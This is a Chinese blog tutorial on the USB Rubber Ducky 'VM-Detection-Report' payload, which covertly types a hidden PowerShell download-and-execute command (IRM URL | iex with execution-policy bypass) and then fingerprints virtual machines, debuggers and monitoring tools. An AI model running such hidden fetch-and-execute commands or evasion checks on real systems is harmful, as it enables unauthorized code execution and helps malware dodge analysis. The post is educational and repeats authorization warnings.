news 2026/10/7 10:51:26

VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标

VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

VM-Detection-Report是 usbrubberducky-payloads 官方 Payload 仓库中一个面向 Windows 10 的虚拟机检测 Payload。插入USB Rubber Ducky后,它会自动打开 PowerShell,从服务器拉取检测脚本 VM-Detection-Report.ps1,通过注册表、MAC 地址、虚拟网卡、系统服务、BIOS 厂商、屏幕分辨率、调试器、进程监控等 7 大类方法,判断当前机器是虚拟机、虚拟机宿主机还是物理机,并输出彩色控制台报告 + 一份详细日志文本文件。


一、什么是 VM 检测?为什么新手需要关注它

在渗透测试和安全研究中,虚拟机检测(VM Detection)是一个基础技能:

  • 🎯安全研究:很多免杀样本会"先判断是否在虚拟机里,再决定是否工作",学会 VM 检测原理,才能看懂免杀逻辑;
  • 🛡️防御分析:判断一台主机是否暴露了明显的虚拟机特征,有助于评估其被侦察的风险;
  • 🧪自动化测试:CI/CD 环境经常需要自动识别"当前跑在虚拟机还是物理机"。

VM-Detection-Report 正是用USB Rubber Ducky 这款"键盘型"硬件来自动化完成这件事:Ducky 被主机识别为 USB 键盘,在系统启动后自动"盲打"出命令,全程无需人工干预。

⚠️ 本 Payload 作者已在脚本头部明确标注:仅可在自己拥有或获得授权的系统上测试使用(见 Payload.txt 第 7 行的 REM 声明)。

二、Payload 文件结构与工作原理

该 Payload 位于官方仓库的侦察(recon)分类下,包含 3 个文件:

文件作用
payloads/library/recon/VM-Detection-Report/Payload.txtDuckyScript 主脚本,负责"盲打"引导命令
payloads/library/recon/VM-Detection-Report/VM-Detection-Report.ps1核心检测脚本(PowerShell)
payloads/library/recon/VM-Detection-Report/README.md使用说明

工作流程(3 步)

  1. 等待 Windows 就绪:Payload 内置了PASSIVE_WINDOWS_DETECT扩展(等待最长 150 秒),确认主机是 Windows 后才继续;非 Windows 系统会亮红灯并停止;
  2. 拉起 PowerShell:通过GUI r打开运行框,输入powershell -Ep Bypass -W H -C IRM #SCRIPTURL | iex,即"下载并执行"远程托管的 ps1 脚本;
  3. 生成检测报告:脚本运行后输出彩色控制台结果,并把逐条命中详情追加写入%TEMP%\VMdetect.log文本文件。

💡 新手注意:使用前必须把 Payload 中的#SCRIPTURL替换为你自己服务器托管的 ps1 原始文件地址(第 10 行DEFINE #SCRIPTURL ...)。

三、7 大检测维度:它到底检查了什么

打开 VM-Detection-Report.ps1 可以看到,脚本把检测拆成了多个函数,覆盖了从"虚拟机宿主机"到"输入设备"的完整链路:

1️⃣ 虚拟机宿主机特征(Test-VMHostNetwork)

判断这台机器本身是不是跑虚拟机的宿主机:

  • 网卡服务名是否含vmxnet(VMware 宿主机)、VBoxNet(VirtualBox 宿主机);
  • 宿主机特有的注册表项HKLM:\SYSTEM\CurrentControlSet\Services\VBox*与驱动目录C:\WINDOWS\system32\drivers\VBox*;
  • MAC 地址是否以 VMware 宿主机典型前缀005056开头。

2️⃣ 虚拟机环境特征(Test-VirtualMachine)

判断这台机器自己是不是虚拟机,这是最核心的一组:

检测项依据
VMware 注册表HKLM:\SOFTWARE\VMware, Inc.\VMware Tools、vmmouse.sys、vmhgfs.sys驱动
VirtualBox 注册表Guest Additions 项、ACPIVBOX__签名(DSDT/FADT/RSDT)、BIOS 版本串
网卡 MAC 前缀VirtualBox080027;VMware000569/000C29/001C14
系统服务vmtools、vmmouse、vmhgfs、vmci、VBoxService、VBoxSF
硬件制造商Win32_ComputerSystem.Manufacturer是否为 VMware、Xen、QEMU、Microsoft 等
机型与 BIOS机型是否为Virtual Machine/VirtualBox/KVM/Bochs;BIOS 厂商是否为Phoenix Technologies/SeaBIOS等

3️⃣ 屏幕分辨率(Test-Screensize)

读取主屏分辨率,与 11 种常见真实分辨率(1280x720 ~ 3840x2160)比对,不命中清单就标记为可疑——这是很多免杀逻辑里的经典"分辨率指纹"技巧。

4️⃣ 调试与监控软件(Test-Debugger)

  • 调用 Windows APIIsDebuggerPresent与CheckRemoteDebuggerPresent,判断进程是否正被调试;
  • 枚举 10 个常见分析/监控进程:taskmgr、procmon、procexp、perfmon、resmon、ProcessHacker等,命中任意一个即"Detected"。

5️⃣ 硬件与真实用户痕迹(Test-Hardware)

用"行为痕迹"反向证明是否有人在真实使用机器:

  • 系统开机时长是否超过 1 小时(虚拟机常用完即关);
  • C 盘容量是否大于 64GB;
  • 物理内存是否大于 1GB;
  • CPU 核心数是否大于 2;
  • 是否检测到鼠标输入设备;
  • 弹出一个"Confirm You Are Not A Robot"对话框,检测是否有人真实点击——这是最有意思的一项"人机验证"式检测。

6️⃣ 最终结论(Verdict)

所有检查汇总后给出三选一结论:

  • 该环境看起来托管着虚拟机(宿主机)
  • 该环境看起来就是一台虚拟机
  • 该环境不太像虚拟机(倾向物理机)

7️⃣ 详细日志

每一项的命中原因都会追加写入%TEMP%\VMdetect.log,例如:

Detected VMware Host MAC address: 00-50-56-xx-xx-xx Detected VM service: vmtools

控制台看结论,日志文件查细节,报告双通道输出,方便归档与复盘。

四、快速上手步骤

  1. 在仓库中找到 Payload 目录 payloads/library/recon/VM-Detection-Report/;
  2. 用 Hak5PayloadStudio打开 Payload.txt 编译成 Ducky 可执行格式(仓库要求所有 Payload 必须用 PayloadStudio 编译,见 README.md);
  3. 把第 10 行#SCRIPTURL改为你自己服务器上的VM-Detection-Report.ps1原始文件地址;
  4. 将 Ducky 插入自己拥有或已获授权的 Windows 10 机器;
  5. 启动后等待 PowerShell 窗口弹出,查看控制台彩色报告,再到"临时文件"目录打开VMdetect.log查看详细日志。

📌 如果想自己动手修改检测项(比如增加对 Hyper-V、KVM 的检测),只需要在 ps1 里按同样的Write-Host + Out-File模式追加检查函数即可,结构非常清晰,适合作为新手学习 DuckyScript + PowerShell 自动化的范本。

五、常见问题 FAQ

Q1:为什么 Payload 要"远程下载" ps1 而不是直接按键输入?DuckyScript 只能"打字",几百行的 PowerShell 脚本靠模拟键盘输入极慢且易错。采用IRM <URL> | iex(Invoke-WebRequest 下载 + iex 执行)是 Ducky 生态的标准做法,仓库中大量 Payload 都采用这一模式。

Q2:目标机器是 macOS / Linux 会怎样?Payload 开头内置PASSIVE_WINDOWS_DETECT扩展做被动 OS 探测,非 Windows 系统会直接亮红灯(LED_R)并STOP_PAYLOAD停止,不会误触。

Q3:检测全部 OK 就一定是物理机吗?不是。VM 检测本质是"特征指纹"匹配,虚拟机做了特征清理(改 MAC、改注册表、调分辨率)就可能漏检;反过来,部分小型化物理机也可能因内存/磁盘偏小被误标。结论应结合日志综合判断。

Q4:日志文件在哪里?%TEMP%\VMdetect.log,即"此电脑 → 临时文件"目录,可直接复制出来归档。


六、写在最后

VM-Detection-Report 用一份结构清晰的 PowerShell 脚本 + 一段不到 50 行的 DuckyScript,完整演示了"USB 键盘硬件 → 自动打开终端 → 远程执行脚本 → 双通道报告"这条 Ducky 经典链路,同时把注册表、MAC 前缀、服务、BIOS、屏幕、调试器、行为痕迹 7 大类虚拟机指纹一网打尽,是理解虚拟机检测原理和DuckyScript 工程实践的绝佳入门样本。

⚠️再次提醒:本 Payload 仅可用于自己拥有或已获明确授权的系统;未经授权在他人设备上使用属于违法行为,请务必遵守法律法规与职业道德。

【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/7 10:50:37

D435i+IMU联合标定实战指南:ROS视觉惯性里程计精度基石

1. 为什么D435iIMU联合标定是ROS机器人开发绕不开的硬门槛&#xff1f; 在ROS机器人开发里&#xff0c;你可能已经调通了小车底盘、跑起了SLAM建图、甚至让机械臂抓起了水杯——但只要一上真实场景&#xff0c;定位就开始漂、轨迹就发散、建图就错层。这时候老手第一反应不是查…

作者头像 李华
网站建设 2026/10/7 10:50:34

基于大数据的泄漏仪监控系统改造:从采集到告警的全链路复盘

说实话&#xff0c;把一套泄漏仪监控系统从“能看数据”做到“能辅助决策”&#xff0c;中间踩的坑比我想象中多得多。去年我们接手了一个工业现场的泄漏仪设备监控改造项目&#xff0c;现场几十台泄漏检测仪表分布在厂区和管网沿线&#xff0c;之前的数据全靠人工抄录和一台老…

作者头像 李华
网站建设 2026/10/7 10:50:17

Java后端必会:MyBatis实战指南,从动态SQL到缓存机制一次讲透

这些年做Java后端&#xff0c;项目里十套有七八套用的都是MySQL加MyBatis这套组合。说实话&#xff0c;MyBatis刚出来那会儿&#xff0c;很多人觉得它就是"写SQL的工具"&#xff0c;没什么技术含量&#xff0c;但等你真正在业务里跑过几轮&#xff0c;就会发现它把SQ…

作者头像 李华
网站建设 2026/10/7 10:50:13

LanBERT:面向中文短文本的轻量级BERT变体与工业部署实践

简介&#xff1a;本资源是一套面向航天工程专业学生、轨道力学研究者及MATLAB实践者的兰伯特问题求解工具包&#xff0c;聚焦于经典天体动力学中的轨道转移计算——即在给定起止位置与飞行时间约束下&#xff0c;求解满足牛顿引力定律的可行转移轨道。压缩包共15个MATLAB源文件…

作者头像 李华
网站建设 2026/10/7 10:49:50

FPGA高速接口SRIO回环测试与时序优化实战

做FPGA高速接口这一年多&#xff0c;SRIO&#xff08;Serial RapidIO&#xff09;是我觉得最值得花时间啃的一块硬骨头。不少朋友在群里问我&#xff0c;SRIO回环测试到底怎么搭、时序报红怎么查、IP核配置那么多选项到底怎么选。这期就把我实际调试SRIO的经验完整复盘一遍&…

作者头像 李华
网站建设 2026/10/7 10:49:48

青少年开源入门指南:从认识开源到贡献PR的完整成长路径

1. 一场关于“未来开发者”的论坛&#xff0c;到底在聊什么 COSCon‘25 的青少年开源论坛议程正式发布之后&#xff0c;我在开源社区群里看到不少朋友转发。有人感慨“终于有人认真带着孩子玩开源了”&#xff0c;也有人问“这些议程到底适合多大的孩子”。作为一个常年混迹开源…

作者头像 李华